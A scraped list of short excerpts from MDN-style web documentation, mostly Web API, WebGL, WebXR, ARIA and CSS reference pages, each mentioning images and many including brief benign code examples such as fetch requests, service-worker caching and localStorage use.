example var c = document.images; // this is an htmlcollection var img0 = c.item(0); // you can use the item() method this way var img1 = c[1]; // but this notation is easier and more common ...
HTMLElement.dir - Web APIs
WebAPIHTMLElementdir
an image can have its dir property set to "rtl" in which case the html attributes title and alt will be formatted and defined as "rtl".
HTMLElement.offsetHeight - Web APIs
example the example image above shows a scrollbar and an offsetheight which fits on the window.
HTMLFormElement.length - Web APIs
the elements included by htmlformelement.elements and htmlformelement.length are the following: <button> <fieldset> <input> (with the exception that any whose type is "image" are omitted for historical reasons) <object> <output> <select> <textarea> no other elements are included in the list returned by elements, which makes it an excellent way to get at the elements most important when processing forms.
HTMLFormElement - Web APIs
elements that are considered form controls the elements included by htmlformelement.elements and htmlformelement.length are the following: <button> <fieldset> <input> (with the exception that any whose type is "image" are omitted for historical reasons) <object> <output> <select> <textarea> no other elements are included in the list returned by elements, which makes it an excellent way to get at the elements most important when processing forms.
HTMLIFrameElement.referrerPolicy - Web APIs
examples var iframe = document.createelement("iframe"); iframe.src = "/"; iframe.referrerpolicy = "unsafe-url"; var body = document.getelementsbytagname("body")[0]; body.appendchild(iframe); // fetch the image using the complete url as the referrer specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
HTMLIFrameElement.src - Web APIs
syntax refstr = iframeelt.src; iframeelt.src= refstr; example var iframe = document.createelement("iframe"); iframe.src = "/"; var body = document.getelementsbytagname("body")[0]; body.appendchild(iframe); // fetch the image using the complete url as the referrer specifications specification status comment html living standardthe definition of 'htmliframeelement: src' in that specification.
HTMLLinkElement.as - Web APIs
the as property of the htmllinkelement interface returns a domstring representing the type of content being loaded by the html link, one of "script", "style", "image", "video", "audio", "track", "font", "fetch".
HTMLMapElement - Web APIs
recommendation adds the images property.
HTMLMediaElement.crossOrigin - Web APIs
the htmlmediaelement.crossorigin property is the cors setting for this image element.
HTMLMedia​Element​.textTracks - Web APIs
examples we start with a <video> that has several <track> children <video controls poster="/images/sample.gif"> <source src="sample.mp4" type="video/mp4"> <source src="sample.ogv" type="video/ogv"> <track kind="captions" src="samplecaptions.vtt" srclang="en"> <track kind="descriptions" src="sampledescriptions.vtt" srclang="en"> <track kind="chapters" src="samplechapters.vtt" srclang="en"> <track kind="subtitles" src="samplesubtitles_de.vtt" srclang="de"> <track kind="subtitles" ...
HTMLScriptElement - Web APIs
javascript files should be served with the application/javascript mime type, but browsers are lenient and block them only if the script is served with an image type (image/*), video type (video/*), audio type (audio/*), or text/csv.
Using microtasks in JavaScript with queueMicrotask() - Web APIs
che[url]) { this.data = this.cache[url]; this.dispatchevent(new event("load")); } else { fetch(url).then(result => result.arraybuffer()).then(data => { this.cache[url] = data; this.data = data; this.dispatchevent(new event("load")); }); } }; the problem introduced here is that by using a task in one branch of the if...else statement (in the case in which the image is available in the cache) but having promises involved in the else clause, we have a situation in which the order of operations can vary; for example, as seen below.
Headers.append() - Web APIs
WebAPIHeadersappend
example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using append(): myheaders.append('content-type', 'image/jpeg'); myheaders.get('content-type'); // returns 'image/jpeg' if the specified header already exists, append() will change its value to the specified value.
Headers.delete() - Web APIs
WebAPIHeadersdelete
example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using headers.append: myheaders.append('content-type', 'image/jpeg'); myheaders.get('content-type'); // returns 'image/jpeg' you can then delete it again: myheaders.delete('content-type'); myheaders.get('content-type'); // returns null, as it has been deleted specifications specification status comment fetchthe definition of 'delete()' in that specification.
Headers.get() - Web APIs
WebAPIHeadersget
example creating an empty headers object is simple: var myheaders = new headers(); // currently empty myheaders.get('not-set'); // returns null you could add a header to this using headers.append, then retrieve it using get(): myheaders.append('content-type', 'image/jpeg'); myheaders.get('content-type'); // returns "image/jpeg" if the header has multiple values associated with it, the byte string will contain all the values, in the order they were added to the headers object: myheaders.append('accept-encoding', 'deflate'); myheaders.append('accept-encoding', 'gzip'); myheaders.get('accept-encoding'); // returns "deflate,gzip" note: headers.getall used ...
Headers.getAll() - Web APIs
WebAPIHeadersgetAll
example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using headers.append, then retrieve it using getall(): myheaders.append('content-type', 'image/jpeg'); myheaders.getall('content-type'); // returns [ "image/jpeg" ] if the header has multiple values associated with it, the array will contain all the values, in the order they were added to the headers object: myheaders.append('accept-encoding', 'deflate'); myheaders.append('accept-encoding', 'gzip'); myheaders.getall('accept-encoding'); // returns [ "deflate", "gzip" ] note: use header...
Headers.has() - Web APIs
WebAPIHeadershas
example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using headers.append, then test for the existence of it using has(): myheaders.append('content-type', 'image/jpeg'); myheaders.has('content-type'); // returns true myheaders.has('accept-encoding'); // returns false specifications specification status comment fetchthe definition of 'has()' in that specification.
Headers.set() - Web APIs
WebAPIHeadersset
example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using headers.append, then set a new value for this header using set(): myheaders.append('content-type', 'image/jpeg'); myheaders.set('content-type', 'text/html'); if the specified header does not already exist, set() will create it and set its value to the specified value.
IndexedDB API - Web APIs
storing images and files in indexeddb specifications specification status comment indexed database api draft recommendation indexed database api 2.0 recommendation initial definition ...
Intersection Observer API - Web APIs
intersection information is needed for many reasons, such as: lazy-loading of images or other content as a page is scrolled.
LocalFileSystem - Web APIs
for example, if you were to create a mail app, you might create a temporary storage for caching assets (like images and attachments) to speed up performance, while creating persistent storage for unique data—such as drafts of emails that were composed while offline—that should not be lost before they are backed up into the cloud.
MediaMetadata.MediaMetadata() - Web APIs
artwork: an array of images associated with the playing media.
MediaMetadata - Web APIs
mediametadata.artwork returns or sets an array of images associated with playing media.
MediaSettingsRange.max - Web APIs
specifications specification status comment mediastream image capturethe definition of 'max' in that specification.
MediaSettingsRange.min - Web APIs
specifications specification status comment mediastream image capturethe definition of 'min' in that specification.
MediaSettingsRange.step - Web APIs
specifications specification status comment mediastream image capturethe definition of 'step' in that specification.
MediaStreamTrack: ended event - Web APIs
track.addeventlistener('ended', () => { let statuselem = document.getelementbyid("status-icon"); statuselem.src = "/images/stopped-icon.png"; }) you can also set up the event handler using the mediastreamtrack.onended property: track.onended = function() { let statuselem = document.getelementbyid("status-icon"); statuselem.src = "/images/stopped-icon.png"; } specifications specification status comment media capture and streamsthe definition of 'ended' in that specification.
MediaStreamTrack.onended - Web APIs
track.onended = function(event) { let statuselem = document.getelementbyid("status-icon"); statuselem.src = "/images/stopped-icon.png"; } specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.onended' in that specification.
Using the MediaStream Recording API - Web APIs
that it doesn't appear in the layout flow and affect the main ui, transform it to the position we want it to sit in by default, and give it a transition for smooth showing/hiding: aside { position: fixed; top: 0; left: 0; text-shadow: 1px 1px 1px black; width: 100%; height: 100%; transform: translatex(100%); transition: 0.6s all; background-color: #999; background-image: linear-gradient(to top right, rgba(0,0,0,0), rgba(0,0,0,0.5)); } last, we write a rule to say that when the checkbox is checked (when we click/focus the label), the adjacent <aside> element will have its horizontal translation value changed and transition smoothly into view: input[type=checkbox]:checked ~ aside { transform: translatex(0); } basic app setup to grab the media stream we want ...
MediaTrackSettings - Web APIs
this is the width of the image in pixels divided by its height in pixels.
msPlayToDisabled - Web APIs
the msplaytodisabled attribute extends the htmlembedelement, htmlimageelement, htmlmediaelement, and htmlobject interfaces.
msPlayToPrimary - Web APIs
example // microsoft extensions interface htmlimageelement : htmlelement { attribute boolean msplaytodisabled; attribute boolean msplaytoprimary; attribute domstring msplaytopreferredsourceuri; }; see also htmlmediaelement ...
Navigator.mediaSession - Web APIs
this information can include typical metadata such as the title, artist, and album name of the song being played as well as potentially one or more images containing things like album art, artist photos, and so forth.
Navigator.mozIsLocallyAvailable() - Web APIs
example var available = navigator.mozislocallyavailable("my-image-file.png", true); if (available) { /* the offline resource is present */ } else { console.log("certain needed resources are not available offline"); } specifications not part of any specifications.
Navigator.sendBeacon() - Web APIs
most user agents will delay the unload to load the image.
Navigator.share() - Web APIs
WebAPINavigatorshare
image, video, audio, and text files can be shared.
Navigator.xr - Web APIs
WebAPINavigatorxr
this can be used to present augmented and/or virtual reality imagery to the user.
Node.cloneNode() - Web APIs
WebAPINodecloneNode
additionally, for a <canvas> element, the painted image is not copied.
Notification.badge - Web APIs
the badge property of the notification interface returns the url of the image used to represent the notification when there is not enough space to display the notification itself.
NotificationAction - Web APIs
notificationaction.icon read only the url of the image used to represent the notification when there is not enough space to display the notification itself.
OES_texture_float_linear - Web APIs
examples gl.getextension('oes_texture_float'); gl.getextension('oes_texture_float_linear'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.texparameterf(gl.texture_2d, gl.texture_mag_filter, gl.linear); gl.teximage2d(gl.texture_2d, 0, gl.rgba, gl.rgba, gl.float, image); specifications specification status comment oes_texture_float_linearthe definition of 'oes_texture_float_linear' in that specification.
OES_texture_half_float_linear - Web APIs
examples var halffloat = gl.getextension('oes_texture_half_float'); gl.getextension('oes_texture_half_float_linear'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.texparameterf(gl.texture_2d, gl.texture_mag_filter, gl.linear); gl.teximage2d(gl.texture_2d, 0, gl.rgba, gl.rgba, halffloat.half_float_oes, image); specifications specification status comment oes_texture_half_float_linearthe definition of 'oes_texture_half_float_linear' in that specification.
Page Visibility API - Web APIs
a site has an image carousel that shouldn't advance to the next slide unless the user is viewing the page an application showing a dashboard of information doesn't want to poll the server for updates when the page isn't visible a page wants to detect when it is being prerendered so it can keep accurate count of page views a site wants to switch off sounds when a device is in standby mode (user pushes power button...
PasswordCredential - Web APIs
syntax var mycredential = new passwordcredential(passwordcredentialdata) var mycredential = new passwordcredential(htmlformelement) parameters either of the following: passwordcredentialdata a passwordcredentialdata dictionary containing the following fields: iconurl: (optional) the url of a user's avatar image.
performance.clearResourceTimings() - Web APIs
example function load_resource() { var image = new image(); image.src = "https://developer.mozilla.org/static/img/opengraph-logo.png"; } function clear_performance_timings() { if (performance === undefined) { log("browser does not support web performance"); return; } // create a resource timing performance entry by loading an image load_resource(); var supported = typeof performance.clearresourcetimings == "function"; ...
PerformanceEntry - Web APIs
performance entries are also created in indirect ways such as loading a resource (such as an image).
PerformanceResourceTiming - Web APIs
an application can use the timing metrics to determine, for example, the length of time it takes to fetch a specific resource, such as an xmlhttprequest, <svg>, image, or script.
PhotoCapabilities.fillLightMode - Web APIs
specifications specification status comment mediastream image capturethe definition of 'filllightmode' in that specification.
PhotoCapabilities.redEyeReduction - Web APIs
specifications specification status comment mediastream image capturethe definition of 'redeyereduction' in that specification.
Pointer Lock API - Web APIs
other examples include apps for viewing maps or satellite imagery.
PublicKeyCredentialCreationOptions.rp - Web APIs
syntax relyingpartyobj = publickeycredentialcreationoptions.rp properties icon optional an url as a usvstring value which points to an image resource which can be the logo/icon of the relying party.
PublicKeyCredentialCreationOptions.user - Web APIs
icon optional an url as a usvstring value which points to an image resource which can be the avatar image for the user.
PublicKeyCredentialRequestOptions.extensions - Web APIs
this is used to display an image or some non-textual content on the authenticator before verifying the user or testing their presence.
PushEvent.data - Web APIs
WebAPIPushEventdata
self.addeventlistener('push', function(event) { if (!(self.notification && self.notification.permission === 'granted')) { return; } var data = {}; if (event.data) { data = event.data.json(); } var title = data.title || "something has happened"; var message = data.message || "here's something you might want to check out."; var icon = "images/new-notification.png"; var notification = new notification(title, { body: message, tag: 'simple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://example.blog.com/2015/03/04/something-new.html'); } }); }); specifications specification status commen...
PushEvent - Web APIs
WebAPIPushEvent
self.addeventlistener('push', function(event) { if (!(self.notification && self.notification.permission === 'granted')) { return; } var data = {}; if (event.data) { data = event.data.json(); } var title = data.title || "something has happened"; var message = data.message || "here's something you might want to check out."; var icon = "images/new-notification.png"; var notification = new self.notification(title, { body: message, tag: 'simple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://example.blog.com/2015/03/04/something-new.html'); } }); }); specifications specification status c...
RTCPeerConnection.createDataChannel() - Web APIs
this can be useful for back-channel content such as images, file transfer, text chat, game update packets, and so forth.
ReadableStream.pipeTo() - Web APIs
examples // fetch the original image fetch('png-logo.png') // retrieve its body as readablestream .then(response => response.body) .then(body => body.pipethrough(new pngtransformstream())) .then(rs => rs.pipeto(new finaldestinationstream())) specifications specification status comment streamsthe definition of 'pipeto()' in that specification.
Request.clone() - Web APIs
WebAPIRequestclone
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then clone the request.
Request.credentials - Web APIs
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request credentials in a variable: var myrequest = new request('flowers.jpg'); var mycred = myrequest.credentials; // returns "same-origin" by default specifications specification status comment fetchthe definition of 'credentials' in that specification.
Request.integrity - Web APIs
WebAPIRequestintegrity
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request integrity value in a variable: var myrequest = new request('flowers.jpg'); var myintegrity = myrequest.integrity; specifications specification status comment fetchthe definition of 'integrity' in that specification.
Request.method - Web APIs
WebAPIRequestmethod
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the method of the request in a variable: var myrequest = new request('flowers.jpg'); var mymethod = myrequest.method; // get specifications specification status comment fetchthe definition of 'method' in that specification.
Request.mode - Web APIs
WebAPIRequestmode
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request mode in a variable: var myrequest = new request('flowers.jpg'); var mymode = myrequest.mode; // returns "cors" by default specifications specification status comment fetchthe definition of 'mode' in that specification.
Request.redirect - Web APIs
WebAPIRequestredirect
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request redirect value in a variable: var myrequest = new request('flowers.jpg'); var mycred = myrequest.redirect; specifications specification status comment fetchthe definition of 'redirect' in that specification.
Request.referrer - Web APIs
WebAPIRequestreferrer
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request referrer in a variable: var myrequest = new request('flowers.jpg'); var myreferrer = myrequest.referrer; // returns "about:client" by default specifications specification status comment fetchthe definition of 'referrer' in that specification.
Request.referrerPolicy - Web APIs
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request referrer policy in a variable: var myrequest = new request('flowers.jpg'); var myreferrer = myrequest.referrerpolicy; // returns "" by default specifications specification status comment fetchthe definition of 'referrerpolicy' in that specification.
Request.url - Web APIs
WebAPIRequesturl
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the url of the request in a variable: var myrequest = new request('flowers.jpg'); var myurl = myrequest.url; // "http://mdn.github.io/fetch-examples/fetch-request/flowers.jpg" specifications specification status comment fetchthe definition of 'url' in that specification.
RequestDestination - Web APIs
"image" the target is an image.
Response.headers - Web APIs
WebAPIResponseheaders
var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.headers); // returns a headers{} object response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe defin...
Response.ok - Web APIs
WebAPIResponseok
var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.ok); // returns true if the response returned successfully response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment ...
Response.status - Web APIs
WebAPIResponsestatus
var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.status); // returns 200 response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'status...
Response.statusText - Web APIs
var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.statustext); // returns "ok" if the response returned successfully response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comm...
Response.type - Web APIs
WebAPIResponsetype
var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.type); // returns basic by default response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition...
Response.url - Web APIs
WebAPIResponseurl
var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.url); // returns /docs/web/api/response/flowers.jpg response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fe...
The 'X' property - Web APIs
usage context name x value <length> | <percentage> initial 0 applies to <mask> , ‘svg’, ‘rect’, ‘image’, ‘foreignobject’ inherited no percentages refer to the size of the current viewport (see units) media visual computed value absolute length or percentage animatable yes simple usage a <coordinate> is a length in the user coordinate system that is the given distance from the origin of the user coordinate system along the relevant axis (the x-axis for x coordinates, the y-axis for y coordinates).
ServiceWorkerGlobalScope: install event - Web APIs
handler can be used to populate a cache with a number of responses, which the service worker can then use to serve assets offline: this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.add( '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', '/sw-test/gallery/snowtroopers.jpg' ); }) ); }); you can also set up the event handler using the serviceworkerglobalscope.oninstall property: globalscope.oninstall = function(event) { ...
ServiceWorkerGlobalScope.oninstall - Web APIs
handler can be used to populate a cache with a number of responses, which the service worker can then use to serve assets offline: this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.add( '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', '/sw-test/gallery/snowtroopers.jpg' ); }) ); }); specifications specification status comment service workersthe definition of 'event handlers' in that specification.
ServiceWorkerGlobalScope.onpush - Web APIs
h contains a pushmessagedata object.) self.addeventlistener('push', function(event) { if (!(self.notification && self.notification.permission === 'granted')) { return; } var data = {}; if (event.data) { data = event.data.json(); } var title = data.title || "something has happened"; var message = data.message || "here's something you might want to check out."; var icon = "images/new-notification.png"; var notification = new notification(title, { body: message, tag: 'simple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://example.blog.com/2015/03/04/something-new.html'); } }); }); specifications specification status comment...
StereoPannerNode.StereoPannerNode() - Web APIs
options optional options are as follows: pan: a floating point number in the range [-1,1] indicating the position of an audionode in an output image.
StereoPannerNode - Web APIs
it is an audionode audio-processing module that positions an incoming audio stream in a stereo image using a low-cost equal-power panning algorithm.
Storage.clear() - Web APIs
WebAPIStorageclear
function populatestorage() { localstorage.setitem('bgcolor', 'red'); localstorage.setitem('font', 'helvetica'); localstorage.setitem('image', 'migato.png'); localstorage.clear(); } note: for a real world example, see our web storage demo.
Storage.getItem() - Web APIs
WebAPIStoragegetItem
function setstyles() { var currentcolor = localstorage.getitem('bgcolor'); var currentfont = localstorage.getitem('font'); var currentimage = localstorage.getitem('image'); document.getelementbyid('bgcolor').value = currentcolor; document.getelementbyid('font').value = currentfont; document.getelementbyid('image').value = currentimage; htmlelem.style.backgroundcolor = '#' + currentcolor; pelem.style.fontfamily = currentfont; imgelem.setattribute('src', currentimage); } note: to see this used within a real world exampl...
Storage.length - Web APIs
WebAPIStoragelength
example the following function adds three data items to the local storage for the current domain, then returns the number of items in the storage: function populatestorage() { localstorage.setitem('bgcolor', 'yellow'); localstorage.setitem('font', 'helvetica'); localstorage.setitem('image', 'cats.png'); return localstorage.length; // should return 3 } note: for a real world example, see our web storage demo.
Storage.setItem() - Web APIs
WebAPIStoragesetItem
function populatestorage() { localstorage.setitem('bgcolor', 'red'); localstorage.setitem('font', 'helvetica'); localstorage.setitem('image', 'mycat.png'); } note: to see this used within a real world example, see our web storage demo.
Storage Access API - Web APIs
scripts, images, stylesheets, etc.) will load with access to their first-party storage, which means they may send cookie headers and honor incoming set-cookie headers.
Streams API - Web APIs
this is something browsers do anyway when receiving assets to be shown on webpages — videos buffer and more is gradually available to play, and sometimes you'll see images display gradually as more is loaded.
Transferable - Web APIs
the arraybuffer, messageport, imagebitmap and offscreencanvas types implement this interface.
URL.createObjectURL() - Web APIs
examples see using object urls to display images.
URL.revokeObjectURL() - Web APIs
examples see using object urls to display images.
Visual Viewport API - Web APIs
for example, what if you need a set of image controls to remain on screen regardless of the pinch zoom level of the device?
WebGL2RenderingContext.blitFramebuffer() - Web APIs
possible values: gl.color_buffer_bit gl.depth_buffer_bit gl.stencil_buffer_bit filter a glenum specifying the interpolation to be applied if the image is stretched.
WebGL2RenderingContext.getInternalformatParameter() - Web APIs
possible values: gl.renderbuffer: buffer data storage for single images in a renderable internal format.
WebGL2RenderingContext.invalidateFramebuffer() - Web APIs
possible values: gl.framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image.
WebGL2RenderingContext.invalidateSubFramebuffer() - Web APIs
possible values: gl.framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image.
WebGL2RenderingContext.readBuffer() - Web APIs
the webgl2renderingcontext.readbuffer() method of the webgl 2 api selects a color buffer as the source for pixels for subsequent calls to copyteximage2d, copytexsubimage2d, copytexsubimage3d or readpixels.
WebGL2RenderingContext.renderbufferStorageMultisample() - Web APIs
possible values: gl.renderbuffer: buffer data storage for single images in a renderable internal format.
WebGLRenderbuffer - Web APIs
the webglrenderbuffer interface is part of the webgl api and represents a buffer that can contain an image, or can be source or target of an rendering operation.
WebGLRenderingContext.bindFramebuffer() - Web APIs
possible values: gl.framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image.
WebGLRenderingContext.bindRenderbuffer() - Web APIs
possible values: gl.renderbuffer: buffer data storage for single images in a renderable internal format.
WebGLRenderingContext.createRenderbuffer() - Web APIs
return value a webglrenderbuffer object that stores data such an image, or can be source or target of an rendering operation.
WebGLRenderingContext.createTexture() - Web APIs
return value a webgltexture object to which images can be bound to.
WebGLRenderingContext.generateMipmap() - Web APIs
it starts with the resolution of the texture image and halves the resolution until a 1x1 dimension texture image is created.
WebGLRenderingContext.renderbufferStorage() - Web APIs
possible values: gl.renderbuffer: buffer data storage for single images in a renderable internal format.
Color masking - Web APIs
by limiting the color channels that are written by each drawing command, you can use each channel, for example, to store a different grayscale image.
Matrix math for the web - Web APIs
matrices can be used to represent transformations of objects in space, and are used for performing many key types of computation when constructing images and visualizing data on the web.
Using bounded reference spaces - Web APIs
the new transform is passed into requestoffsetreferenceframe() to obtain a reference frame which maps the coordinates between the base coordinate system and that of the rendered image.
Geometry and reference spaces in WebXR - Web APIs
in virtual reality (vr), it's all about creating a sense of space in which the user's movements are precisely matched by the imagery presented on the virtual display, to prevent disjoints and disconnects that could cause discomfort or worse.
Targeting and hit detection - Web APIs
testing for collisions with the real world is a different problem, which may involve not only interpreting the imagery from the device's camera (if available) but also potentially multiple additional sensors.
Web Storage API - Web APIs
the landing page provides controls that can be used to customize the colour, font and decorative image.
Functions and classes available to Web Workers - Web APIs
imagedata the underlying pixel data of an area of a canvas element.
The structured clone algorithm - Web APIs
imagebitmap imagedata array object only plain objects (e.g.
Window: DOMContentLoaded event - Web APIs
the domcontentloaded event fires when the initial html document has been completely loaded and parsed, without waiting for stylesheets, images, and subframes to finish loading.
Window: load event - Web APIs
WebAPIWindowload event
the load event is fired when the whole page has loaded, including all dependent resources such as stylesheets and images.
Window.stop() - Web APIs
WebAPIWindowstop
because of how scripts are executed, this method cannot interrupt its parent document's loading, but it will stop its images, new windows, and other still-loading objects.
WindowOrWorkerGlobalScope.caches - Web APIs
this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.addall([ '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', '/sw-test/gallery/snowtroopers.jpg' ]); }) ); }); specifications specification status comment service workersthe definition of 'caches' in that specification.
WindowOrWorkerGlobalScope - Web APIs
windoworworkerglobalscope.createimagebitmap() accepts a variety of different image sources, and returns a promise which resolves to an imagebitmap.
Worker.prototype.postMessage() - Web APIs
transferable objects are instances of classes like arraybuffer, messageport or imagebitmap objects that can be transferred.
WorkerGlobalScope - Web APIs
windoworworkerglobalscope.createimagebitmap() accepts a variety of different image sources, and returns a promise which resolves to an imagebitmap.
Worklet.addModule() - Web APIs
WebAPIWorkletaddModule
dioworklet example const audioctx = new audiocontext(); const audioworklet = audioctx.audioworklet; await audioworklet.addmodule('modules/bypassfilter.js', { credentials: 'omit', }); paintworklet example css.paintworklet.addmodule('https://mdn.github.io/houdini-examples/csspaint/intro/worklets/hilite.js'); once a paintworklet is included, the css paint() function can be used to include the image created by the worklet: @supports (background-image: paint(id)) { h1 { background-image: paint(hollowhighlights, filled, 3px); } } specifications specification status comment worklets level 1the definition of 'addmodule()' in that specification.
Worklet - Web APIs
WebAPIWorklet
instead, you can use one of the following classes: name description location specification paintworklet for programmatically generating an image where a css property expects a file.
XRInputSource.gripSpace - Web APIs
syntax var xrspace = xrinputsource.gripspace; value an xrspace object representing the position and orientation of the input device in virtual space, suitable for rendering an image of the device into the scene.
XRRenderStateInit - Web APIs
properties baselayer optional an xrwebgllayer object from which the webxr compositor will obtain imagery.
XRSession.updateRenderState() - Web APIs
baselayer optional an xrwebgllayer object from which the webxr compositor will obtain imagery.
XRWebGLLayer() - Web APIs
framebufferscalefactor optional a floating-point value which is used to scale the image during compositing, with a value of 1.0 represents the default pixel size for the frame buffer.
XRWebGLLayer.framebuffer - Web APIs
the read-only xrwebgllayer property framebuffer is an opaque webglframebuffer which is used to buffer the rendered image if the xr compositor is being used.
XRWebGLLayer - Web APIs
although xrwebgllayer is currently the only type of framebuffer layer supported by webgl, it's entirely possible that future updates to the webxr specification may allow for other layer types and corresponding image sources.
XRWebGLLayerInit - Web APIs
framebufferscalefactor optional a floating-point value which is used to scale the image during compositing, with a value of 1.0 represents the default pixel size for the frame buffer.
Using the aria-hidden attribute - Accessibility
this can improve the experience for assistive technology users by hiding: purely decorative content, such as icons or images duplicated content, such as repeated text offscreen or collapsed content, such as menus according to the fourth rule of aria, aria-hidden="true" should not be used on a focusable element.
Using the group role - Accessibility
<div id="tree1" role="tree" tabindex="-1"> <div id="animals" class="groupheader" role="presentation" aria-owns="animalgroup" aria-expanded="true"> <img role="presentation" tabindex="-1" src="images/treeexpanded.gif" /> <span role="treeitem" tabindex="0">animals</span> </div> <div id="animalgroup" role="group"> <div id="birds" role="treeitem"> <span tabindex="-1">birds</span> </div> <div id="cats" class="groupheader" role="presentation" aria-owns="catgroup" aria-expanded="false"> <img role="presentation" tabindex="-1" src="images/treecontracted.gif" /> ...
ARIA: application role - Accessibility
the at will read any semantics like links, headings, form controls, tables, lists, or images.
ARIA: banner role - Accessibility
<div role="banner"> <a href="#nav" id="skiptomenu" class="skiptocontent">skip to keyboard navigation</a> <img src="images/w3c.png" alt="w3c logo"> <h1>aria landmarks</h1> <p>identifying page subsections for easy navigation</p> </div> we could also have written the above with the html header element: <header> <a href="#nav" id="skiptomenu" class="skiptocontent">skip to keyboard navigation</a> <img src="images/w3c.png" alt="w3c logo"> <h1>aria landmarks</h1> <p>identifying page subsections for easy navi...
ARIA: button role - Accessibility
where possible, it is recommended to use native html buttons (<button>, <input type="button">, <input type="submit">, <input type="reset"> and <input type="image">) rather than the button role, as native html buttons are supported by all user agents and assistive technology and provide keyboard and focus requirements by default, without need for additional customization.
Architecture - Accessibility
example take the following html code: <div>hello<a href="http://www.mozilla.org/access">my link<img src="image.gif">is cool</a>bye</div> both the <a> and <img> are hyperlinks also, both the <div> and <a> are hypertexts so the <a> is both a hypertext and a hyperlink, because it contains text and is contained within text.
Cognitive accessibility - Accessibility
include text along with use of icons, images, color and so on.
HTML To MSAA - Accessibility
if @type attribute has value "submit" n/a "press" n/a caption bstr role n/a n/a n/a description_for (0x100f), points to table element div bstr role n/a n/a n/a n/a n/a n/a fieldset role_system_ grouping text equivalent from child legend element n/a n/a labelled_by (1003), points to legend element n/a n/a hr role_system_ separator n/a n/a n/a n/a n/a n/a img, input @type=image role_system_ graphic from @alt attribute, empty @alt attribute means name can't be calculated at all n/a state_system_ animated if image has more than one frame n/a "showlongdesc" if @longdesc attribute is presented n/a if @usemap attribute is used then image accessible has children for each map item input @type=button, submit, reset role_system_ pushbutton from @value attribute, @alt attribute...
Accessibility
accessible multimedia another category of content that can create accessibility problems is multimedia — video, audio, and image content need to be given proper textual alternatives so they can be understood by assistive technologies and their users.
:-moz-suppressed - CSS: Cascading Style Sheets
the :-moz-suppressed css pseudo-class is a mozilla extension that matches elements representing images that were suppressed because loading images from the specified site has been blocked.
:-moz-user-disabled - CSS: Cascading Style Sheets
the :-moz-user-disabled css pseudo-class is a mozilla extension that matches elements representing images that were not loaded because images have been entirely disabled by the user's preferences.
::after (:after) - CSS: Cascading Style Sheets
WebCSS::after
